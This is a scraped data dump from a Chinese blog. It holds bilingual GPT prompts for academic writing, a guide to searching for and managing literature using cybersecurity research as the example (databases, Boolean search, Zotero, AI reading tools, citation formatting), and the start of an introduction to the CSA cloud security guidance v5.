Prompt】\n“作为一名在多语种学术发表领域有丰富经验的翻译专家，请帮助我为以下论文撰写中英双语（或其他目标语言）摘要和关键词。请确保不同语言版本的摘要在表达内容和学术要点上保持一致，并在关键词中适当包含本领域常用的专业术语，以便提升检索与引用效率。”\n【English Prompt】\n“As a translation specialist experienced in multilingual academic publishing, please help me compose bilingual (Chinese and English, or other target languages) abstracts and keywords for the following paper. Make sure the abstracts in both languages convey the same content and core academic points, and include commonly used technical terms in the keywords to enhance discoverability and citation potential.”\n3.2 文献总结与引用 精准的文献综述和标准化的引用是学术写作中的基础能力。以下提示词旨在帮助研究者快速提炼文献核心观点、总结参考文献要点，同时保证引用格式的合规性。\n3.2.1 快速文献综述/摘要提炼 【中文 Prompt】\n“作为一名在文献综述写作方面经验丰富的学术助理，请根据我列出的 [文献列表/文章标题]，撰写一段针对 [研究主题] 的综合性文献综述。请注意：1）突出每篇文献的主要贡献；2）在段落之间保持逻辑衔接；3）若文献间存在观点冲突或互补，请适当加以说明。最终文本应控制在 [字数] 左右，并采用客观、中立的学术语气。”\n【English Prompt】\n“As an experienced academic assistant in literature review writing, please produce a concise literature review paragraph on [Research Topic] based on the [list of references/article titles] I have provided. Make sure to: (1) highlight the key contributions of each source; (2) maintain logical flow between paragraphs; and (3) note any conflicting or complementary perspectives among the studies. Keep the final text within [word count] and use an objective, neutral academic tone.”\n3.2.2 引用格式与参考文献管理 【中文 Prompt】\n“作为一名熟悉多种学术引用风格（如 APA、Harvard、Chicago）的论文排版专家，请帮助我检查以下文档中所有参考文献的格式是否与 [指定风格] 相匹配，并统一引用方式（如文内标注、脚注或尾注）。若发现格式错误或缺失信息（作者、年份、期刊名等），请给出修正示例；若引用风格有特殊要求（如页码范围、DOI标注），也请一并说明。”\n【English Prompt】\n“As a paper formatting expert proficient in various citation styles (e.g., APA, Harvard, Chicago), please help me verify whether all references in the following document conform to the [specified style], and standardize the citation approach (in-text citation, footnotes, or endnotes). If you detect any format errors or missing details (authors, year, journal title, etc.), provide corrected examples. Also mention any special requirements for this citation style, such as page ranges or DOIs.”\n3.2.3 参考文献的批判性评述 【中文 Prompt】\n“作为一名注重批判性思维的学术写作指导，请对以下参考文献列表进行批判性评述。除列出每篇文献的核心发现或观点外，请指出其可能的研究局限或方法学不足，并建议如何在当前研究中借鉴或改进这些局限。请在行文中保持学术客观性，避免主观化或情绪化的评价，并提供简要的引用出处或备注。”\n【English Prompt】\n“As an academic writing mentor emphasizing critical thinking, please critique the following list of references. In addition to summarizing the key findings or perspectives from each source, identify any potential limitations or methodological gaps and suggest ways these shortcomings can be addressed or improved in the current research. Maintain academic objectivity and avoid subjective or emotional language, providing brief citations or notes where relevant.”\n3.3 论文结构与组织 论文的整体结构与组织不仅影响读者的阅读体验，也直接关系到研究逻辑的呈现效果。以下提示词可帮助研究者在章节安排、段落布局和标题选取上更具条理性和说服力。\n3.3.1 章节框架与逻辑过渡 【中文 Prompt】\n“作为一名经验丰富的学术论文设计顾问，请帮助我根据以下研究主题或大纲，规划出一套合理的章节框架，包括每个章节的标题、目的和主要内容，并说明如何在章节之间实现顺畅的逻辑过渡。若发现研究流程或信息组织存在缺口，请提出补充或调整方案，使论文结构更紧凑、易于读者理解。”\n【English Prompt】\n“As an experienced consultant in academic paper design, please help me develop a coherent chapter framework based on the following research topic or outline. Provide section headings, objectives, and main points for each chapter, and explain how to maintain logical transitions between sections. If any gaps or inconsistencies appear in the research process or information organization, suggest ways to fill or rearrange them to create a more cohesive and reader-friendly structure.”\n3.3.2 标题与小节设计 【中文 Prompt】\n“作为一名擅长精炼与聚焦主题的学术编辑，请在审阅以下论文内容时，为主要章节或小节设计更精准、有吸引力的标题，确保标题能概括段落核心要点并与整体研究目标相一致。若有必要，也可在小节内部增设合乎逻辑的子标题，用来区分不同的论点或分析层次，并简要说明这样做的理由。”\n【English Prompt】\n“As an academic editor skilled in concise and topic-focused writing, please review the following paper content and propose more precise, engaging headings for the main chapters or sections. Ensure that each heading accurately reflects the core point of the corresponding paragraph and aligns with the study’s overall aims. If needed, introduce logical subheadings within a section to differentiate various arguments or analytical levels, explaining why such changes would be beneficial.”\n3.3.3 摘要与结论的衔接 【中文 Prompt】\n“作为一位熟悉论文整体结构安排的学术写作顾问，请帮助我检查以下论文的摘要和结论部分是否存在衔接不良或信息重复的问题。若发现摘要中未充分体现论文的关键结论或创新点，请提出补充要点；若结论部分缺乏与摘要的呼应或缺少对研究意义的进一步阐述，也请给出修正建议，以实现两者之间的自然呼应。”\n【English Prompt】\n“As an academic writing consultant experienced in overall paper organization, please examine whether the abstract and conclusion sections of the following manuscript exhibit any mismatches or redundant information. If the abstract doesn’t adequately highlight the paper’s key findings or novel contributions, suggest additional points to include. If the conclusion lacks alignment with the abstract or fails to elaborate on the significance of the research, recommend revisions to ensure a coherent linkage between the two.”\n四、小结 在本指南中，我们系统梳理了生成式人工智能（如 GPT）在学术写作各个环节中可能发挥的作用及其相应的提示词。从基础的语法与风格润色到更高阶的同行评审辅助与编辑反馈优化，再到涵盖翻译、文献管理、论文结构等常见高频需求，整合后的提示词不仅有助于研究者快速实现文本的语言精修，也能在评审与投稿流程中高效产出专业、建设性的意见。通过分章、分节的方式，读者可以依据自身写作与审稿的进度，迅速找到所需的指令，结合多轮迭代与反馈，获得更贴近实际需求的输出。\n需要强调的是，AI 工具的应用应与研究者的批判性思维相辅相成。无论是润色文本、审阅论文还是撰写编辑信件，都离不开对学术伦理与严谨性的坚持。在享受技术带来的便捷时，务必牢记保持学术诚信、尊重隐私与数据安全，并对生成的内容进行必要的人工审校。只有在这样理性且谨慎的使用模式下，才能真正释放 GPT 在学术写作中的潜力，为研究成果的传播与深化提供持续的驱动力。\n","relPermalink":"/posts/archive/%E7%A7%91%E7%A0%94%E6%80%BB%E7%BB%93%E7%B3%BB%E5%88%97/%E7%A7%91%E7%A0%94%E6%80%BB%E7%BB%93%E7%B3%BB%E5%88%972-gpt%E5%AD%A6%E6%9C%AF%E5%86%99%E4%BD%9C%E6%8F%90%E7%A4%BA%E8%AF%8D%E9%9B%86%E9%94%A6%E6%89%8B%E5%86%8C/","summary":"随着生成式人工智能（如 ChatGPT）的迅速发展，学术写作正变得更加智能和高效。高质量的学术论文不仅能够准确传达研究成果，也会在学术圈内带来更广泛的影响力。借助 GPT 等工具，研究者能够更轻松地完善行文逻辑、丰富语言表达…","tags":["科研方法","AI安全"],"title":"科研总结系列｜2-GPT学术写作提示词集锦手册","unix":1736733600,"year":"2025"},{"date":"2025-01-06","dateISO":"2025-01-06","permalink":"https://bluedog.website/posts/archive/%E7%A7%91%E7%A0%94%E6%80%BB%E7%BB%93%E7%B3%BB%E5%88%97/%E7%A7%91%E7%A0%94%E6%80%BB%E7%BB%93%E7%B3%BB%E5%88%971-%E6%96%87%E7%8C%AE%E6%A3%80%E7%B4%A2%E4%B8%8E%E7%AE%A1%E7%90%86%E4%BB%A5%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E9%A2%86%E5%9F%9F%E4%B8%BA%E4%BE%8B/","plain":"本文初作于2025年1月6日\n本文后续将随着笔者的学习、实践、探索和拓展研究将不定期更新。\n一、前言 \t在科研道路上，研究生和科研工作者往往面临的首要挑战之一，就是高效地获取并管理庞杂的文献信息。通过系统而准确的文献检索，我们不仅能够快速了解研究领域的前沿进展，也能及时捕捉新颖的学术思路，为后续课题设计奠定坚实基础。然而，若只停留于“搜集”层面，却缺乏对文献进行科学归档、标注和追溯的意识，就难以在海量资料中快速定位关键信息，反而会浪费宝贵的研究时间。合理运用多种检索渠道与文献管理工具，不仅能节约精力，还能有效避免漏查和重复收集，从而使论文写作和学术交流事半功倍。基于此，本文将围绕文献检索、获取与管理的全流程展开，帮助读者掌握系统化的方法与实用工具，为研究工作打下坚实基础。\n二、文献检索基础 在开展学术研究前，牢牢掌握高效的文献检索方法，对于快速获取领域前沿进展与核心成果至关重要。对于网络安全（Cybersecurity）方向的研究者而言，更需在海量信息中抓住关键点，避免“泛读”甚至“漏检”造成的研究断层。以下从需求分析到检索策略，结合网络安全领域具体示例，进行系统阐述。\n2.1 检索需求分析 明确研究方向与子领域 网络安全涵盖了诸多子方向，如密码学（Cryptography）、恶意代码检测（Malware Analysis）、入侵检测系统（IDS/IPS）、安全信息与事件管理（SIEM）、零日漏洞分析（Zero-day Vulnerability）、物联网安全（IoT Security）等。在正式检索前，应先明确自己的研究重点。例如，若计划研究“基于机器学习的网络入侵检测”，就需要综合“机器学习技术”、“网络流量分析”、“入侵检测算法”等多重维度来定位检索关键词。\n细分检索目标\n[!TIP]\n✨ 宏观了解：了解该领域在国际/国内的发展历程、研究热点、主流技术框架等。 ✨ 精准聚焦：对某个特定技术问题或方法（如深度学习检测恶意流量）进行针对性检索，找到核心论文或系统性综述（Survey/Review）。 ‼️ 最新动态：关注近期顶级会议（如IEEE S\u0026P、USENIX Security、ACM CCS、Black Hat）、期刊（如IEEE Transactions on Information Forensics and Security）中提出的前沿方法或最新实验结果。 构建检索问题\n[!TIP]\n‼️ 主要关键词：如“machine learning”、“intrusion detection”、“network security”等。（建议中英文都去搜索一遍） ‼️ 同义词/相关词：如“deep learning”、“IDS/IPS”、“cyber threat detection”、“anomaly detection”、 “网络威胁感知”等。 ✨ 限制条件：可按时间（近5年）、文献类型（会议论文、期刊论文、专利文献等）或者地区（国内外）进行筛选。 2.2 关键词与布尔逻辑运用 关键词设计\n[!IMPORTANT]\n‼️ 对于“恶意流量检测”主题，除了常用的“malicious traffic detection”，还应考虑“malware traffic”、“anomalous network behavior”等表达方式。\n‼️ 结合网络安全特有的名词与学科交叉关键词（如“AI-based intrusion prevention”、“software-defined networking (SDN) security”）可扩展检索范围。\n布尔运算与高级搜索\n[!TIP]\n✨ AND：将不同概念交叉。如“network security” AND “deep learning”；\n✨ OR：同义或相关概念并列。如“intrusion detection” OR “anomaly detection”；\n✨ NOT：排除干扰词。如“firewall NOT web application firewall”；\n✨ 通配符与引号：如““intrusion detection system””可锁定精准词组，* 或 ? 用于匹配不定字符。\n多维搜索的组合\n[!TIP]\n✨ 在数据库内先使用宽泛关键词（如“cybersecurity” OR “information security”），再逐渐缩小到机器学习、具体技术框架（TensorFlow、PyTorch）等。\n✨ 通过限定时间（如“2021-2025”）、地域或文献类型（综述 vs. 实证研究），可确保检索到更贴近研究需求的文献。\n2.3 论文下载常用数据库与平台选择 国际主流数据库\n[!IMPORTANT]\n‼️ Web of Science / Scopus：可系统检索网络安全相关期刊（如Computers \u0026 Security, IEEE TIFS）和会议，追溯高被引或最新文献。\n‼️ IEEE Xplore：聚焦工程技术及计算机科学，涵盖大量关于物联网安全、加密算法和云安全的文章，适合搜索核心期刊或会议论文。\n✨ ACM Digital Library：在计算机科学领域影响深远，寻找系统、算法层面研究（如ACM CCS、ACM SIGSAC等）非常便利。\n✨ ScienceDirect (Elsevier) / SpringerLink：检索网络安全相关专刊与在线图书，可获取跨学科研究内容（如信息安全与法律法规交叉点的研究）。\n专业学术搜索与平台\n[!IMPORTANT]\n‼️ Google Scholar：全球范围收录，易于追溯引用关系；可利用其“Cited by”功能，快速定位在网络安全领域中较高引用度的核心论文。\n‼️ SciHub：一个提供学术论文和研究文章免费下载的网站。\n✨ Semantic Scholar：具有文献重要性评分、引用关系可视化等功能，适合挖掘网络安全高影响力论文或综述性文章。\n✨ AMiner：基于学术数据挖掘，可帮助定位网络安全领军人物及热门话题聚类，查看其引用网络与合作圈。\n‼️ 淘宝等第三方数据库平台：http://www.jieyoutsg.com/（仅个人使用过，不做商业推广！）\n网络安全行业会议/期刊官网\n[!IMPORTANT]\n‼️ Black Hat / DEFCON / RSA Conference：虽非纯学术会议，但往往包含最新攻防技术与行业趋势演讲，可通过官网获取演讲资料或白皮书。\n‼️ USENIX Security / NDSS / CCS / S\u0026P：顶级会议官网常提供论文开放下载或链接，能第一时间获取最前沿成果。\n国内数据库及信息源\n[!TIP]\n✨ 中国知网（CNKI）：检索网络安全中文期刊论文、硕博士学位论文。\n✨ 万方/维普/技术报告与专利：补充检索本土研究机构或企业对网络安全技术的专利布局、技术报告等独家内容。\n2.4 引文追溯与研究方法借鉴 安利一个网站「https://www.connectedpapers.com/」 该网站可以通过可视化图表检索学术论文。\n逆向追溯（Backward Citation）：当阅读一篇关于“基于深度学习检测DDoS攻击”的论文时，通过其参考文献，可以挖掘算法基础文献（如深度神经网络在网络威胁检测的早期实验）以及相关安全机制历史演进。\n正向追溯（Forward Citation）：借助Google Scholar或Web of Science的“Cited by”功能，查看该文献被后续哪些研究所引用。这些新研究常带来方法改进或在不同场景下的应用（如从DDoS拓展到加密流量检测）。\n领域综述（Review, Survey）和典型实证研究\n[!TIP]\n✨ 综合性综述能帮助快速了解整体研究脉络、常用评估指标（如准确率、误报率等），以及当前主流数据集（如KDD CUP 99、NSL-KDD、UNSW-NB15）在网络安全检测试验中的优缺点。\n✨ 对于实证研究论文，特别要关注实验环境、算法细节、数据预处理方式等，可为自身实验提供直接借鉴或启示。\n2.5 科研伦理与版权意识 学术诚信与引用规范\n在撰写论文或项目报告时，务必详尽、准确地引用引用来源，避免遗漏或不当引用引起学术不端指控。\n对代码、数据资源以及技术实现部分，也要注意标明原创出处或开源协议。\n知识产权与下载方式\n优先通过合法渠道（学校VPN、机构数据库）获取论文，尊重学术期刊与作者版权。\n仅在特殊情况下参考科研社区、预印本服务器（arXiv）或作者个人主页分享的版本，注意确认文献版本差异（Preprint vs. Final Publication）。\n网络安全领域涉及技术、算法、应用场景多元化，文献检索的难度和深度也相应增大。通过科学合理的检索需求分析、关键词设计、布尔逻辑应用，以及充分利用主流数据库与专业平台，研究者才能在最短时间内获得高质量文献。配合逆向、正向引文追溯与研究方法分析，不仅能有效弥补检索盲区，还能迅速把握该领域的核心难点与最新前沿，为后续的实验设计与论文写作奠定扎实的知识基础。\n三、文献管理与组织 3.1 为什么要进行文献管理 文献管理能帮助研究者在庞杂的资料中快速定位所需内容，避免重复下载与阅读，从而节省宝贵时间。通过归档和标注，文献间的关联性与重要性一目了然，后续写论文或开展实验时更易追溯和整合。借助批注与高亮功能，读者还可随时记录灵感与要点，避免日后遗忘。许多文献管理工具能自动生成参考文献列表，大幅减少写作中的格式烦恼。若支持云端同步与团队协作，还能随时更新共享文献库，让跨设备和团队之间的信息流转更加高效。简而言之，科学管理文献既提高了检索阅读效率，也为长期科研积累和成果产出奠定坚实基础。\n3.2 常用文献管理软件特点 下表展示了几款常见文献管理软件的特点，对比维度包括主要功能特性、平台与界面、费用与协作方式、PDF 批注支持以及适用人群等，以便读者根据自身需求作出选择。\n3.3 文献管理核心功能 在众多文献管理软件中，Zotero 以其强大的功能和灵活的扩展性，成为许多科研人员的首选工具。以下将围绕 Zotero 的核心功能进行详细介绍，并推荐一些实用的插件，帮助读者更高效地进行文献管理与组织。\n3.3.1 文献导入 自动导入与元数据识别\nZotero 支持通过浏览器插件（如 Zotero Connector）直接从网页、数据库、图书馆目录中导入文献信息。它能够自动识别并提取文献的元数据（如标题、作者、出版年份等），极大地减少了手动录入的工作量。\n多种格式支持\n除了在线导入，Zotero 还支持从各种文件格式（如 PDF、BibTeX、RIS）批量导入文献。用户可以将本地存储的文献资料轻松添加到文献库中，保持资料的完整性与一致性。\n3.3.2 标签与分类 多级文件夹与标签系统\nZotero 提供灵活的文件夹和标签功能，用户可以根据研究主题、项目阶段或文献类型，将文献分类存储在不同的文件夹中。同时，标签系统允许用户为文献添加多个标签，实现多维度的检索与管理。\n智能搜索与过滤\n通过标签和分类，Zotero 的搜索功能能够快速定位所需文献。用户可以根据标签、作者、出版年份等多种条件进行过滤，提高检索效率。\n3.3.3 PDF 批注与笔记 内置 PDF 阅读器\nZotero 内置了功能强大的 PDF 阅读器，用户可以在软件中直接打开 PDF 文件，进行高亮、添加注释和笔记等操作。这些批注会与文献记录关联，便于后续查阅和整理。\n独立笔记功能\n除了在 PDF 中做批注，Zotero 还支持添加独立的笔记。用户可以记录阅读心得、研究思路或待解决的问题，这些笔记同样与文献相关联，方便管理和回顾。\n3.3.4 云同步与团队协作 跨设备同步\nZotero 提供云端同步功能，用户可以将文献库同步到多个设备（如电脑、平板、手机），确保在不同设备上访问到最新的文献资料。\n共享文献库\n通过 Zotero 的组功能，用户可以创建私人或公开的共享文献库，与团队成员共同管理和编辑文献。这对于协作项目或跨机构研究尤为重要，能够促进信息共享与学术交流。\n3.3.5 引用格式管理 多种引用风格支持\nZotero 内置了数千种引用格式（如 APA、MLA、Chicago、IEEE 等），并支持自定义引用样式。用户可以根据目标期刊或会议的要求，灵活调整引用格式。\n写作工具集成\nZotero 提供与 Word、LibreOffice 等写作软件的插件，用户可以在撰写论文时直接插入引用，并自动生成参考文献列表。这大大简化了写作过程，减少了格式错误的可能性。\n3.3.6 推荐插件 Zotero具备强大的插件生态支持\nZotero官方插件社区：https://www.zotero.org/support/plugins\nZotero中文插件社区：https://zotero-chinese.com/plugins/\n为了进一步提升 Zotero 的功能，以下是一些值得推荐的插件：\n四、高效阅读与笔记方法 在科研过程中，高效的文献阅读与系统的笔记记录是知识积累与创新的基石。面对海量文献，研究者需要掌握科学的阅读策略和笔记方法，以便迅速筛选、深入理解并有效整合相关信息。以下将系统阐述高效阅读与笔记的方法论，助力研究者在学术道路上事半功倍。\n4.1系统化的阅读策略 首先，科研文献的阅读应遵循由浅入深、由整体到细节的原则。初始阶段，研究者应进行快速浏览，重点关注论文的标题、摘要、引言和结论部分。这一过程旨在快速评估文献的相关性与价值，决定是否进行深入阅读。通过这种筛选机制，研究者能够有效过滤掉与研究方向不符或价值较低的文献，节省时间与精力。\n在确定文献的重要性后，进入深度阅读阶段。此时，应重点关注研究方法、实验设计、结果分析与讨论部分，全面理解研究的核心内容与创新点。研究者应保持批判性思维，评估论文的科学性与可靠性，识别其中的优点与不足。此外，通过比较不同文献之间的方法与结论，研究者可以发现研究领域内的共性问题与潜在的发展方向。\n4.2 高效的笔记记录方法 高效的笔记记录是深化理解与知识整合的重要手段。研究者应采用结构化的笔记方式，确保信息的有序存储与便捷检索。具体而言，可以采用以下几种方法：\n分层次记录：将笔记分为主要观点、支持论据、实验数据与个人思考等层次，确保信息的逻辑性与条理性。这种方法不仅有助于理清文献的核心内容，还便于后续的复习与引用。 关键词提取：在笔记中标注出文献中的关键概念、术语与重要数据，便于快速定位与回顾。这一策略能够帮助研究者在大量信息中抓住重点，提升信息处理效率。 图表与思维导图：利用图表或思维导图等视觉化工具，将复杂的信息以图形化的形式呈现，增强理解与记忆效果。例如，通过绘制研究模型、流程图或因果关系图，研究者可以更直观地掌握文献内容。 个人反思与疑问：在笔记中记录个人的思考、疑问与潜在的研究方向，促进批判性思维与创新性思考。这不仅有助于深化对文献的理解，还能激发新的研究灵感。 4.3 整合与复习机制 高效的阅读与笔记不仅体现在信息的获取与记录上，更在于对信息的整合与复习。研究者应定期回顾与整理笔记，识别知识间的关联与逻辑关系，构建系统化的知识框架。这一过程可以通过以下几种方式实现：\n主题归纳：将相关主题的文献笔记进行归纳整理，形成系统化的知识模块。通过这种方式，研究者能够构建起全面的学科知识体系，促进知识的内化与应用。 交叉引用：利用文献管理软件（如Zotero）中的标签与分类功能，将相关文献进行交叉引用，建立起文献之间的联系网络。这不仅有助于快速查找相关信息，还能揭示研究领域内的知识图谱与发展脉络。 定期复习：制定定期复习计划，确保已记录的笔记得到及时的回顾与更新。通过反复复习，研究者能够巩固记忆，提升知识的长效记忆与应用能力。 4.4 技术工具的辅助 技术工具在科研文献阅读与笔记过程中扮演着越来越重要的角色。尤其是人工智能（AI）的引入，为高效处理和理解海量文献提供了前所未有的支持。AI技术不仅能够自动化繁琐的文献管理任务，还能通过智能分析和生成，提升研究者的理解与创新能力。\nAI赋能的文献总结与综述\nScholarcy 是一款强大的AI论文摘要工具，能够自动提取论文的关键点和核心观点，帮助研究者快速了解文献内容。通过生成摘要闪卡，Scholarcy 使得文献回顾更加高效，节省了大量阅读时间。\nSentiSum 利用自然语言处理技术，为研究者提供情感分析和主题提取功能，帮助识别文献中的研究热点与趋势。此工具特别适合进行大规模文献综述，快速定位重要研究方向。\nAI辅助的文献阅读与理解\nChatGPT 作为OpenAI开发的先进语言模型，可以作为虚拟助理，帮助研究者理解复杂的理论和方法。通过与ChatGPT对话，研究者可以快速解答疑问、澄清概念或获取相关背景信息，极大提升文献理解的深度与广度。\ntxyz.ai 结合了先进的语义分析和上下文理解能力，能够为用户提供精准和定制化的文献解读服务。研究者在阅读过程中，可以通过与txyz.ai互动，获得针对性的解释和分析，提升科研工作的效率。\n自动化笔记与知识图谱构建\nRoam Research 和 Obsidian 等知识管理工具，通过AI算法，可以自动链接相关笔记，构建知识图谱，帮助研究者发现文献之间的关联与潜在的研究方向。这些工具不仅支持结构化的笔记记录，还能通过智能推荐，促进知识的系统化整合。\nNotion AI 提供了自动摘要、内容建议与知识整理功能，进一步简化了笔记管理的过程。结合其强大的信息整合能力，研究者能够高效组织和复习笔记内容，构建系统化的知识体系。\n智能搜索与推荐系统\nSemantic Scholar 利用机器学习算法，根据用户的搜索历史与阅读偏好，推荐相关性更高的文献，显著提升检索效率。同时，ResearchGate 和 PubMed 等平台也引入了AI技术，优化文献搜索与推荐机制，帮助研究者发现潜在的研究资源与合作机会。\nResearchRabbit 类似于“论文界的Spotify”，通过创建论文集和可视化作者关系，帮助用户发现新的研究方向和合作伙伴。其智能推荐功能确保研究者不会错过任何一篇重要论文。\n自动化文献翻译与多语言支持\nDeepL 和 Google Translate 等AI驱动的自动翻译工具，结合专业术语数据库，能够提供高质量的学术文献翻译，帮助研究者跨越语言障碍，获取更多元化的研究资源。txyz.ai 通过其多语言支持功能，能够不仅提供精准的翻译，还能保留学术术语和上下文意义，确保翻译后的文献依然保持原有的学术严谨性。 其他创新AI工具\nTypeset.io 是一个综合平台，提供制式化的论文模板和自动修改格式的学术AI工具，帮助研究人员快速且有效地遵守目标期刊和出版商的特定指南。其引用管理系统和抄袭检测功能，进一步提升论文质量与合规性。\nChatPDF 允许用户通过聊天式界面与PDF文档互动，用户可以直接提问并获取文献中的具体信息，极大地提升了文献阅读的便捷性和互动性。\nScite.ai 提供引文分析和抄袭检测功能，通过准确的引用文献检索，帮助研究者验证信息的可靠性，避免引用错误或虚构文献。\nConsensus 作为前沿的AI搜索引擎，专注于从多种可靠学术资源中检索并呈现准确、客观的信息。它通过GPT-4技术生成精炼摘要，帮助用户快速掌握核心内容，并提供基于证据的研究共识报告，确保信息的准确性和权威性。\n五、参考文献写作与格式管理 在学术论文的撰写过程中，参考文献的规范化书写与格式管理至关重要。合理的引用不仅体现了学术诚信，还能有效支持论点，展示研究的深度与广度。以下是一个系统化的参考文献写作与格式管理流程，帮助研究者高效、准确地完成文献引用与格式排版。\n5.1 确定引用规范 [!NOTE]\n了解目标期刊/会议要求：在开始写作前，仔细阅读目标期刊或会议的投稿指南，明确其要求的引用格式（如APA、MLA、Chicago、IEEE等）。\n选择合适的引用风格：根据研究领域和目标发表平台，选择最合适的引用风格。例如，工程和计算机科学领域常用IEEE格式，人文社科领域则多采用APA或Chicago格式。\n[!CAUTION]\n确认引用风格的具体要求，如作者姓名格式、出版年份位置、文献列表排列顺序等。\n注意不同引用风格对不同类型文献（期刊论文、会议论文、书籍、网页等）的格式要求差异。\n5.2 导入文献到管理工具 [!NOTE]\n选择文献管理软件：根据个人需求选择合适的文献管理工具，如Zotero、EndNote、Mendeley等。\n导入文献：通过浏览器插件或手动导入方式，将所需文献添加到文献管理软件中。确保每条文献信息的完整与准确，包括标题、作者、出版年份、期刊名称等。\n分类与标签：根据研究主题或项目阶段，对文献进行分类和打标签，便于后续检索与管理。\n[!CAUTION]\n确认导入的文献信息无误，避免因元数据错误导致引用格式问题。\n定期更新文献库，删除重复文献，保持文献管理工具的整洁与高效。\n5.3 在写作软件中插入引用 [!NOTE]\n安装写作插件：在写作软件（如Microsoft Word、LibreOffice、LaTeX编辑器等）中安装对应的文献管理插件（如Zotero插件、EndNote插件等）。\n插入引用：在论文撰写过程中，使用插件功能在正文中插入引用。根据需要选择直接插入引用或批注形式引用。\n选择引用风格：在写作软件中设置文献管理插件使用的引用风格，确保插入的引用符合目标格式要求。\n[!CAUTION]\n确认插入的引用在正文中的位置正确，引用格式与目标风格一致。\n检查引用标识（如编号或作者-年份格式）是否正确对应文献管理工具中的文献。\n5.4 自动生成文献列表 [!NOTE]\n生成参考文献：在论文写作完成后，使用文献管理工具的功能自动生成参考文献列表。选择合适的位置（通常在论文末尾）插入参考文献列表。\n格式调整：根据需要，对生成的参考文献列表进行微调，确保所有文献条目的格式与目标引用风格完全一致。\n[!CAUTION]\n核对参考文献列表中的每条文献信息，确保无遗漏或错误。\n确认参考文献列表的排列顺序符合引用风格要求（如按字母顺序或按引用顺序排列）。\n5.5 终稿检查 [!NOTE]\n全面校对：通读论文，检查所有引用是否正确无误，确保每个引用在文献列表中都有对应条目，反之亦然。\n一致性检查：对于多次引用的文献，确保在正文中使用相同的引用标识或编号，避免混淆。\n格式审查：仔细检查参考文献列表的整体格式，包括字体、行距、缩进等，确保与目标引用风格一致。\n[!CAUTION]\n使用文献管理工具的“查重”功能，确保引用信息的一致性和准确性。\n确认所有引用均已按照要求格式化，避免因格式错误影响论文的专业性。\n5.6 格式排版与最终定稿 [!NOTE]\n统一排版风格：根据目标期刊或会议的格式要求，统一调整论文的整体排版风格，包括标题、段落、图表等部分。\n生成最终文档：使用写作软件生成最终的文档格式（如PDF），确保所有格式和引用均正确无误。\n提交前再审：在提交论文前，进行最后的全面审查，确保引用规范、格式统一，所有内容完整无误。\n[!CAUTION]\n确认最终文档的所有部分（包括参考文献）在不同设备和阅读软件上的显示效果一致。\n确保所有附录、图表和参考文献的编号和引用无误，符合投稿要求。\n参考文献写作与格式管理是学术论文撰写中不可或缺的重要环节。通过系统化的流程，包括确定引用规范、导入文献到管理工具、在写作软件中插入引用、自动生成文献列表、终稿检查以及格式排版与最终定稿，研究者能够确保论文的引用规范性与格式准确性。合理利用文献管理工具和写作软件的集成功能，不仅提高了写作效率，也提升了论文的专业性与可信度。研究者应在整个写作过程中，严格遵循上述流程，确保参考文献的管理与格式符合学术标准，助力科研成果的顺利发表。\n六、总结与展望 在科研过程中，文献检索与管理是确保研究效率和成果质量的基础。本文系统探讨了从需求分析、关键词设计、数据库选择，到文献管理软件的应用，再到高效阅读与笔记方法，以及参考文献写作与格式管理的全过程。通过合理利用文献管理工具，如Zotero，并结合AI技术（如txyz.ai），研究者能够高效获取、整理和利用海量文献资源，避免重复劳动，提升知识整合与创新能力。特别是AI赋能的文献总结、智能推荐和自动化笔记功能，显著优化了科研工作流程。展望未来，随着人工智能和自然语言处理技术的不断进步，文献检索与管理将更加智能化、个性化，支持多语言和跨学科研究。研究者应积极采用这些新兴工具，持续优化文献管理体系，提升科研效率与竞争力。通过科学的方法与先进技术的结合，科研人员能够在信息爆炸的时代中保持高效有序，推动学术研究不断向前发展。\n","relPermalink":"/posts/archive/%E7%A7%91%E7%A0%94%E6%80%BB%E7%BB%93%E7%B3%BB%E5%88%97/%E7%A7%91%E7%A0%94%E6%80%BB%E7%BB%93%E7%B3%BB%E5%88%971-%E6%96%87%E7%8C%AE%E6%A3%80%E7%B4%A2%E4%B8%8E%E7%AE%A1%E7%90%86%E4%BB%A5%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E9%A2%86%E5%9F%9F%E4%B8%BA%E4%BE%8B/","summary":"本文后续将随着笔者的学习、实践、探索和拓展研究将不定期更新。","tags":["科研方法","实操指南"],"title":"科研总结系列｜1-文献检索与管理（以网络安全领域为例）","unix":1736128800,"year":"2025"},{"date":"2024-12-27","dateISO":"2024-12-27","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E4%BA%91%E8%AE%A1%E7%AE%97%E5%85%B3%E9%94%AE%E9%A2%86%E5%9F%9F%E5%AE%89%E5%85%A8%E6%8C%87%E5%8D%97v5-%E9%80%9F%E8%A7%88%E7%89%88/","plain":"和我的好友Steve共作此篇\n本文原文地址：https://mp.weixin.qq.com/s/8CQkGt-lnffQdfKgNAjbFw\n笔者20年暑假刚高考完，参与了CCSK v4的学习和考取了证书。命运的齿轮也许在那时就开始拨动旋转。在24年的最后一个周五，本报告发出之际，落笔至此感触良多。从云安全的初学者成长为这份重磅教材的翻译者与参与者，感谢执掌好运的黄黑之王，感谢一路以来的各位良师益友的指导陪伴。也希望本篇能够启迪与帮助到正在学习与探索云安全领域的朋友们。让我们共同努力，迈向云安全3.0时代的下一个辉煌的五年！\n如对本文及其《指南》本身有疑问和见解，亦或是您发现报告中的瑕疵与错误，烦请联系B1ueD0g@duck.com与我沟通。\n《云计算关键领域安全指南》（简称：云安全指南）由云安全联盟（CSA）于2009年首次发布，成为了全球实施云安全的必备手册，为云计算用户、服务提供商及安全专家提供实用的安全策略，帮助他们在快速变化的云环境中有效地实施安全控制和防护措施。作为 CSA 云安全知识认证（CCSK）国际网络安全认证的官方学习材料，云安全指南已被翻译成六种语言，成为全球网络安全从业者的经典教材。\n目前已更新至**《云计算关键领域安全指南 v5》**。在前几版的基础上，云安全指南v5 对技术进展和新兴安全威胁进行了全面更新。特别是在云原生技术快速发展的背景下，指南强化了云原生安全措施，并融入AI、零信任等新兴安全技术/理念，为云安全3.0（智能云安全）的快速发展提供理论指导和实践指引。\n以下是对指南各领域的简要导读，具体内容请阅读指南原文（18万字）。\n领域 1：云计算概念和架构 